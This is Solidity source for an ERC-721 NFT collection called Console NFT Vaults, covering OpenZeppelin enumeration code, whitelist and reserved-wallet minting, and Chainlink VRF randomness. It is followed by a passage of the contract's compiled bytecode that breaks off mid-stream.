== from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } abstract contract SourceData { function getRarity(uint256 token_id) public view virtual returns(uint8); function getNumberOfItems(uint256 token_id) public view virtual returns(uint8); function getCreditsMultiplier(uint256 token_id) public view virtual returns(uint256); function getCreditsAmount(uint256 token_id) public view virtual returns(uint256); function getFirstItemRarity(uint256 token_id) public view virtual returns(uint256); function getSecondItemRarity(uint256 token_id) public view virtual returns(uint256); function getFirstItemClass(uint256 token_id) public view virtual returns(uint256); } contract ConsoleNFT_Vault is ERC721Enumerable, ReentrancyGuard, Ownable, VRFConsumerBase { address dataContract; // Mapping for wallet addresses that have previously minted mapping(address => uint256) private _whitelistMinters; string internal baseTokenURI; string internal baseTokenURI_extension; uint public constant maxTokens = 500; uint public total = 0; uint mintCost = 0.05 ether; bool whitelistActive; bool sysAdminMinted; bool error404Minted; bool code200Minted; bool giveawaysMinted; address error404Address; address code200Address; address giveawaysAddress; bytes32 _rootHash; string[] private rarity = [ "Legendary", "Epic", "Rare", "Uncommon", "Common" ]; string[] private numberOfItemsInside = [ "6", "5", "4", "3", "2" ]; string[] private creditsMultiplier = [ "Ultra", "Very high", "High", "Medium", "Low" ]; string[] private creditsAmount = [ "Ultra", "Very high", "High", "Medium", "Low" ]; string[] private firstItemRarity = [ "Legendary", "Epic", "Rare", "Uncommon", "Common" ]; string[] private secondItemRarity = [ "Legendary", "Epic", "Rare", "Uncommon", "Common" ]; string[] private firstItemClass = [ "Computer", "Weapon", "Keylogger", "Rainbow tables", "Packet sniffer", "Smartphone", "De-auth device", "NFC device", "RFID blocker", "Drone", "Screen crab", "Programmable chip", "Lockpick", "Land", "Armor", "Clothing", "CD device", "USB device", "Floppy disc", "- None -" ]; function getRarity(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Nonexistent token"); string memory output; SourceData source_data = SourceData(dataContract); output = rarity[source_data.getRarity(tokenId)]; return output; } function getNumberOfItemsInside(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Nonexistent token"); string memory output; SourceData source_data = SourceData(dataContract); output = numberOfItemsInside[source_data.getNumberOfItems(tokenId)]; return output; } function getCreditsMultiplier(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Nonexistent token"); string memory output; SourceData source_data = SourceData(dataContract); output = creditsMultiplier[source_data.getCreditsMultiplier(tokenId)]; return output; } function getCreditsAmount(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Nonexistent token"); string memory output; SourceData source_data = SourceData(dataContract); output = creditsAmount[source_data.getCreditsAmount(tokenId)]; return output; } function getFirstItemRarity(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Nonexistent token"); string memory output; SourceData source_data = SourceData(dataContract); output = firstItemRarity[source_data.getFirstItemRarity(tokenId)]; return output; } function getSecondItemRarity(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Nonexistent token"); string memory output; SourceData source_data = SourceData(dataContract); output = secondItemRarity[source_data.getSecondItemRarity(tokenId)]; return output; } function getFirstItemClass(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Nonexistent token"); string memory output; SourceData source_data = SourceData(dataContract); output = firstItemClass[source_data.getFirstItemClass(tokenId)]; return output; } // Setters function setSourceData(address _dataContract) external onlyOwner { dataContract = _dataContract; } function setBaseTokenURI(string memory _uri) external onlyOwner { baseTokenURI = _uri; } function setBaseTokenURI_extension(string memory _ext) external onlyOwner { baseTokenURI_extension = _ext; } function tokenURI(uint tokenId_) public view override returns (string memory) { require(_exists(tokenId_), "Query for non-existent token!"); return string(abi.encodePacked(baseTokenURI, Strings.toString(tokenId_), baseTokenURI_extension)); } function setError404Address(address _setAddress) external onlyOwner { error404Address = _setAddress; } function setCode200Address(address _setAddress) external onlyOwner { code200Address = _setAddress; } function setGiveawaysAddress(address _setAddress) external onlyOwner { giveawaysAddress = _setAddress; } function setRootHash(bytes32 rootHash) external onlyOwner { _rootHash = rootHash; } function setWhitelistState() external onlyOwner { whitelistActive = !whitelistActive; } // Claim function sysAdminClaim() public onlyOwner nonReentrant { require(sysAdminMinted == false, "Already minted!"); sysAdminMinted = true; uint tokenId = getVRFRandomIndex(); total++; _safeMint(owner(), tokenId); } function error404Claim() public nonReentrant { require(msg.sender == error404Address, "Not Error 404"); require(error404Minted == false, "Already minted!"); error404Minted = true; uint tokenId = getVRFRandomIndex(); total++; _safeMint(msg.sender, tokenId); } function code200Claim() public nonReentrant { require(msg.sender == code200Address, "Not Code 200"); require(code200Minted == false, "Already minted!"); code200Minted = true; uint tokenId = getVRFRandomIndex(); total++; _safeMint(msg.sender, tokenId); } function giveawaysClaim() public nonReentrant { // only 2, we can hardcode require(msg.sender == giveawaysAddress, "Not Giveaways wallet"); require(giveawaysMinted == false, "Already minted!"); giveawaysMinted = true; uint tokenId = getVRFRandomIndex(); total++; _safeMint(msg.sender, tokenId); uint tokenId_second = getVRFRandomIndex(); total++; _safeMint(msg.sender, tokenId_second); } function whitelistClaim(bytes32[] memory proof) public nonReentrant payable { require(whitelistActive, "The whitelist is not active yet"); require(total < maxTokens, "All tokens have been already minted"); require(msg.value >= mintCost, "Incorrect mint cost value"); // Merkle tree validation bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(proof, _rootHash, leaf), "Invalid proof"); require(_whitelistMinters[_msgSender()] < 1, "You've already minted"); uint tokenId = getVRFRandomIndex(); total++; _safeMint(_msgSender(), tokenId); //Set the _whitelistMinters value to tokenId for this address as it has minted _whitelistMinters[_msgSender()] = tokenId; } constructor() ERC721("Console NFT Vaults", "Cnsl-NFT-V") VRFConsumerBase( 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, 0x514910771AF9Ca656af840dff83E8264EcF986CA ) Ownable() { keyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445; fee = 2 * (10**18); _rootHash = 0x944df87eb207e113ec142134130993ec225e847b9341eff16eb0c99ed8eb620a; error404Address = 0x24Db9e45f6aC29175030A083B985C184A02c2d64; code200Address = 0x1C0d3B190B18b4452BD4d0928D7f425eA9A0B3F9; giveawaysAddress = 0x7e95c71bDF0E0526eA534Fb5191ceD999190c117; } ////////////////////////// VRF ///////////////////////////// bytes32 internal keyHash; uint internal fee; uint internal randomResult; // VRF Functions function getRandomNumber() public onlyOwner returns (bytes32 requestId) { require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK!"); return requestRandomness(keyHash, fee); } function fulfillRandomness(bytes32 requestId, uint randomness) internal override { randomResult = randomness; } function getRandomResult() public view onlyOwner returns (uint) { return randomResult; } // >>> Now, the VRF is stored in [uint internal randomResult] ////////////////////////// VRF ///////////////////////////// /////////////////////// Token ID Generator //////////////////////// // ** Thanks LarvaLabs for this big brain method. ** // // This function was orginally written by 0xInuarashi // // and modified by SysAdmin to exclude Token ID, // // now including the usage of generated input from VRF. // /////////////////////////////////////////////////////////////////// uint[maxTokens] internal indices; uint32 internal nonce; function getVRFRandomIndex() internal returns (uint) { require(randomResult != 0, "VRF Random Result has not been set!"); uint _tokensRemaining = maxTokens - total; // require that this calculation is possible from all caller functions uint _maxIndex = _tokensRemaining == 0 ? 0 : _tokensRemaining - 1; // shorthand if for safety uint _rand = uint(keccak256(abi.encodePacked(randomResult, nonce, msg.sender, block.difficulty, block.timestamp))) % _tokensRemaining; uint _output = 0; _output = indices[_rand] != 0 ? indices[_rand] :_rand; indices[_rand] = indices[_maxIndex] == 0 ? _maxIndex : indices[_maxIndex]; uint32 _nonceAdd = uint32(uint256(keccak256(abi.encodePacked(randomResult, nonce, msg.sender, block.difficulty, block.timestamp)))) % 10; nonce += _nonceAdd; return _output; } /////////////////////// Token ID Generator //////////////////////// function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT license // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } // Withdraw Ether function withdrawEther() public onlyOwner { payable(msg.sender).transfer(address(this).balance); } }
0x6080604052600436106102725760003560e01c806368b01c1f1161014f578063aeceadbf116100c1578063e83157421161007a578063e83157421461070b578063e985e9c514610721578063f2fde38b1461076a578063f58152541461078a578063fc59d962146107aa578063fe05452d146107bf57600080fd5b8063aeceadbf1461066c578063b102b6bc14610681578063b88d4fde14610696578063c87b56dd146106b6578063cd03a76a146106d6578063dbdff2c1146106f657600080fd5b80637390c786116101135780637390c786146105c45780638da5cb5b146105d957806390bbe186146105f757806394985ddd1461061757806395d89b4114610637578063a22cb4651461064c57600080fd5b806368b01c1f14610545578063708aa3dc1461056557806370a082311461057a578063715018a61461059a5780637362377b146105af57600080fd5b806330176e13116101e85780634f6ccce7116101ac5780634f6ccce71461049d57806354703d0c146104bd5780635d41c19c146104d05780636352211e146104e55780636550df401461050557806366b3fbd21461052557600080fd5b806330176e13146103fd57806342842e0e1461041d578063434b3c121461043d578063451032a11461045d578063487586971461047d57600080fd5b806318160ddd1161023a57806318160ddd146103485780631c62d87a1461036757806323b872dd146103875780632d7eae66146103a75780632ddbd13a146103c75780632f745c59146103dd57600080fd5b806301ffc9a71461027757806306fdde03146102ac578063081812fc146102ce578063095ea7b3146103065780631089e56914610328575b600080fd5b34801561028357600080fd5b50610297610292366004612eb5565b6107df565b60405190151581526020015b60405180910390f35b3480156102b857600080fd5b506102c161080a565b6040516102a3919061311c565b3480156102da57600080fd5b506102ee6102e9366004612e7a565b61089c565b6040516001600160a01b0390911681526020016102a3565b34801561031257600080fd5b50610326610321366004612d86565b610929565b005b34801561033457600080fd5b506102c1610343366004612e7a565b610a3f565b34801561035457600080fd5b506008545b6040519081526020016102a3565b34801561037357600080fd5b506102c1610382366004612e7a565b610b98565b34801561039357600080fd5b506103266103a2366004612c97565b610c52565b3480156103b357600080fd5b506103266103c2366004612e7a565b610c83565b3480156103d357600080fd5b5061035960115481565b3480156103e957600080fd5b506103596103f8366004612d86565b610cb2565b34801561040957600080fd5b50610326610418366004612eef565b610d48565b34801561042957600080fd5b50610326610438366004612c97565b610d89565b34801561044957600080fd5b50610326610458366004612c42565b610da4565b34801561046957600080fd5b506102c1610478366004612e7a565b610df0565b34801561048957600080fd5b506102c1610498366004612e7a565b610e4e565b3480156104a957600080fd5b506103596104b8366004612e7a565b610eac565b6103266104cb366004612db0565b610f3f565b3480156104dc57600080fd5b5061032661118d565b3480156104f157600080fd5b506102ee610500366004612e7a565b61126e565b34801561051157600080fd5b506102c1610520366004612e7a565b6112e5565b34801561053157600080fd5b50610326610540366004612c42565b611343565b34801561055157600080fd5b506102c1610560366004612e7a565b61138f565b34801561057157600080fd5b506103266113ed565b34801561058657600080fd5b50610359610595366004612c42565b61142b565b3480156105a657600080fd5b506103266114b2565b3480156105bb57600080fd5b506103266114e8565b3480156105d057600080fd5b50610359611541565b3480156105e557600080fd5b50600b546001600160a01b03166102ee565b34801561060357600080fd5b50610326610612366004612c42565b611575565b34801561062357600080fd5b50610326610632366004612e93565b6115cf565b34801561064357600080fd5b506102c161164d565b34801561065857600080fd5b50610326610667366004612d4f565b61165c565b34801561067857600080fd5b50610326611721565b34801561068d57600080fd5b506103266117e0565b3480156106a257600080fd5b506103266106b1366004612cd3565b61189f565b3480156106c257600080fd5b506102c16106d1366004612e7a565b6118d7565b3480156106e257600080fd5b506102c16106f1366004612e7a565b611963565b34801561070257600080fd5b506103596119c1565b34801561071757600080fd5b506103596101f481565b34801561072d57600080fd5b5061029761073c366004612c64565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561077657600080fd5b50610326610785366004612c42565b611adc565b34801561079657600080fd5b506103266107a5366004612c42565b611b74565b3480156107b657600080fd5b50610326611bc0565b3480156107cb57600080fd5b506103266107da366004612eef565b611cd8565b60006001600160e01b0319821663780e9d6360e01b1480610804575061080482611d15565b92915050565b6060600080546108199061335a565b80601f01602080910402602001604051908101604052809291908181526020018280546108459061335a565b80156108925780601f1061086757610100808354040283529160200191610892565b820191906000526020600020905b81548152906001019060200180831161087557829003601f168201915b5050505050905090565b60006108a782611d65565b61090d5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b60006109348261126e565b9050806001600160a01b0316836001600160a01b031614156109a25760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610904565b336001600160a01b03821614806109be57506109be813361073c565b610a305760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610904565b610a3a8383611d82565b505050565b6060610a4a82611d65565b610a665760405162461bcd60e51b815260040161090490613181565b600d5460405163f998620d60e01b8152600481018490526060916001600160a01b031690601890829063f998620d906024015b60206040518083038186803b158015610ab157600080fd5b505afa158015610ac5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae99190612f51565b60ff1681548110610afc57610afc613429565b906000526020600020018054610b119061335a565b80601f0160208091040260200160405190810160405280929190818152602001828054610b3d9061335a565b8015610b8a5780601f10610b5f57610100808354040283529160200191610b8a565b820191906000526020600020905b815481529060010190602001808311610b6d57829003601f168201915b509398975050505050505050565b6060610ba382611d65565b610bbf5760405162461bcd60e51b815260040161090490613181565b600d54604051630e316c3d60e11b8152600481018490526060916001600160a01b0316906019908290631c62d87a906024015b60206040518083038186803b158015610c0a57600080fd5b505afa158015610c1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c429190612f38565b81548110610afc57610afc613429565b610c5c3382611df0565b610c785760405162461bcd60e51b8152600401610904906131e1565b610a3a838383611eda565b600b546001600160a01b03163314610cad5760405162461bcd60e51b8152600401610904906131ac565b601655565b6000610cbd8361142b565b8210610d1f5760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610904565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600b546001600160a01b03163314610d725760405162461bcd60e51b8152600401610904906131ac565b8051610d8590600f906020840190612b35565b5050565b610a3a8383836040518060200160405280600081525061189f565b600b546001600160a01b03163314610dce5760405162461bcd60e51b8152600401610904906131ac565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b6060610dfb82611d65565b610e175760405162461bcd60e51b815260040161090490613181565b600d5460405163451032a160e01b8152600481018490526060916001600160a01b031690601b90829063451032a190602401610bf2565b6060610e5982611d65565b610e755760405162461bcd60e51b815260040161090490613181565b600d54604051634875869760e01b8152600481018490526060916001600160a01b0316906017908290634875869790602401610a99565b6000610eb760085490565b8210610f1a5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610904565b60088281548110610f2d57610f2d613429565b90600052602060002001549050919050565b6002600a541415610f625760405162461bcd60e51b815260040161090490613232565b6002600a5560135460ff16610fb95760405162461bcd60e51b815260206004820152601f60248201527f5468652077686974656c697374206973206e6f742061637469766520796574006044820152606401610904565b6101f4601154106110185760405162461bcd60e51b815260206004820152602360248201527f416c6c20746f6b656e732068617665206265656e20616c7265616479206d696e6044820152621d195960ea1b6064820152608401610904565b60125434101561106a5760405162461bcd60e51b815260206004820152601960248201527f496e636f7272656374206d696e7420636f73742076616c7565000000000000006044820152606401610904565b6040516bffffffffffffffffffffffff193360601b1660208201526000906034016040516020818303038152906040528051906020012090506110b08260165483612085565b6110ec5760405162461bcd60e51b815260206004820152600d60248201526c24b73b30b634b210383937b7b360991b6044820152606401610904565b336000908152600e60205260409020546001116111435760405162461bcd60e51b8152602060048201526015602482015274165bdd49dd9948185b1c9958591e481b5a5b9d1959605a1b6044820152606401610904565b600061114d61209b565b60118054919250600061115f83613395565b919050555061117461116e3390565b8261229a565b336000908152600e602052604090205550506001600a55565b6002600a5414156111b05760405162461bcd60e51b815260040161090490613232565b6002600a556014546001600160a01b031633146111fe5760405162461bcd60e51b815260206004820152600c60248201526b04e6f7420436f6465203230360a41b6044820152606401610904565b6013546301000000900460ff16156112285760405162461bcd60e51b815260040161090490613269565b6013805463ff00000019166301000000179055600061124561209b565b60118054919250600061125783613395565b9190505550611266338261229a565b506001600a55565b6000818152600260205260408120546001600160a01b0316806108045760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610904565b60606112f082611d65565b61130c5760405162461bcd60e51b815260040161090490613181565b600d54604051630195437d60e61b8152600481018490526060916001600160a01b031690601d908290636550df4090602401610bf2565b600b546001600160a01b0316331461136d5760405162461bcd60e51b8152600401610904906131ac565b601580546001600160a01b0319166001600160a01b0392909216919091179055565b606061139a82611d65565b6113b65760405162461bcd60e51b815260040161090490613181565b600d546040516368b01c1f60e01b8152600481018490526060916001600160a01b031690601c9082906368b01c1f90602401610bf2565b600b546001600160a01b031633146114175760405162461bcd60e51b8152600401610904906131ac565b6013805460ff19811660ff90911615179055565b60006001600160a01b0382166114965760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610904565b506001600160a01b031660009081526003602052604090205490565b600b546001600160a01b031633146114dc5760405162461bcd60e51b8152600401610904906131ac565b6114e660006122b4565b565b600b546001600160a01b031633146115125760405162461bcd60e51b8152600401610904906131ac565b60405133904780156108fc02916000818181858888f1935050505015801561153e573d6000803e3d6000fd5b50565b600b546000906001600160a01b0316331461156e5760405162461bcd60e51b8152600401610904906131ac565b5060205490565b600b546001600160a01b0316331461159f5760405162461bcd60e51b8152600401610904906131ac565b601380546001600160a01b03909216650100000000000265010000000000600160c81b0319909216919091179055565b336001600160a01b037f000000000000000000000000f0d54349addcf704f77ae15b96510dea15cb795216146116475760405162461bcd60e51b815260206004820152601f60248201527f4f6e6c7920565246436f6f7264696e61746f722063616e2066756c66696c6c006044820152606401610904565b60205550565b6060600180546108199061335a565b6001600160a01b0382163314156116b55760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610904565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600b546001600160a01b0316331461174b5760405162461bcd60e51b8152600401610904906131ac565b6002600a54141561176e5760405162461bcd60e51b815260040161090490613232565b6002600a55601354610100900460ff161561179b5760405162461bcd60e51b815260040161090490613269565b6013805461ff00191661010017905560006117b461209b565b6011805491925060006117c683613395565b919050555061126661116e600b546001600160a01b031690565b6002600a5414156118035760405162461bcd60e51b815260040161090490613232565b6002600a556013546501000000000090046001600160a01b0316331461185b5760405162461bcd60e51b815260206004820152600d60248201526c139bdd08115c9c9bdc880d0c0d609a1b6044820152606401610904565b60135462010000900460ff16156118845760405162461bcd60e51b815260040161090490613269565b6013805462ff0000191662010000179055600061124561209b565b6118a93383611df0565b6118c55760405162461bcd60e51b8152600401610904906131e1565b6118d184848484612306565b50505050565b60606118e282611d65565b61192e5760405162461bcd60e51b815260206004820152601d60248201527f517565727920666f72206e6f6e2d6578697374656e7420746f6b656e210000006044820152606401610904565b600f61193983612339565b601060405160200161194d9392919061303a565b6040516020818303038152906040529050919050565b606061196e82611d65565b61198a5760405162461bcd60e51b815260040161090490613181565b600d54604051636681d3b560e11b8152600481018490526060916001600160a01b031690601a90829063cd03a76a90602401610bf2565b600b546000906001600160a01b031633146119ee5760405162461bcd60e51b8152600401610904906131ac565b601f546040516370a0823160e01b81523060048201527f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca6001600160a01b0316906370a082319060240160206040518083038186803b158015611a5057600080fd5b505afa158015611a64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a889190612f38565b1015611ac95760405162461bcd60e51b815260206004820152601060248201526f4e6f7420656e6f756768204c494e4b2160801b6044820152606401610904565b611ad7601e54601f54612437565b905090565b600b546001600160a01b03163314611b065760405162461bcd60e51b8152600401610904906131ac565b6001600160a01b038116611b6b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610904565b61153e816122b4565b600b546001600160a01b03163314611b9e5760405162461bcd60e51b8152600401610904906131ac565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6002600a541415611be35760405162461bcd60e51b815260040161090490613232565b6002600a556015546001600160a01b03163314611c395760405162461bcd60e51b8152602060048201526014602482015273139bdd0811da5d99585dd85e5cc81dd85b1b195d60621b6044820152606401610904565b601354640100000000900460ff1615611c645760405162461bcd60e51b815260040161090490613269565b6013805464ff0000000019166401000000001790556000611c8361209b565b601180549192506000611c9583613395565b9190505550611ca4338261229a565b6000611cae61209b565b601180549192506000611cc083613395565b9190505550611ccf338261229a565b50506001600a55565b600b546001600160a01b03163314611d025760405162461bcd60e51b8152600401610904906131ac565b8051610d85906010906020840190612b35565b60006001600160e01b031982166380ac58cd60e01b1480611d4657506001600160e01b03198216635b5e139f60e01b145b8061080457506301ffc9a760e01b6001600160e01b0319831614610804565b6000908152600260205260409020546001600160a01b0316151590565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611db78261126e565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611dfb82611d65565b611e5c5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610904565b6000611e678361126e565b9050806001600160a01b0316846001600160a01b03161480611ea25750836001600160a01b0316611e978461089c565b6001600160a01b0316145b80611ed257506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611eed8261126e565b6001600160a01b031614611f555760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610904565b6001600160a01b038216611fb75760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610904565b611fc28383836125c2565b611fcd600082611d82565b6001600160a01b0383166000908152600360205260408120805460019290611ff6908490613317565b90915550506001600160a01b03821660009081526003602052604081208054600192906120249084906132c3565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fd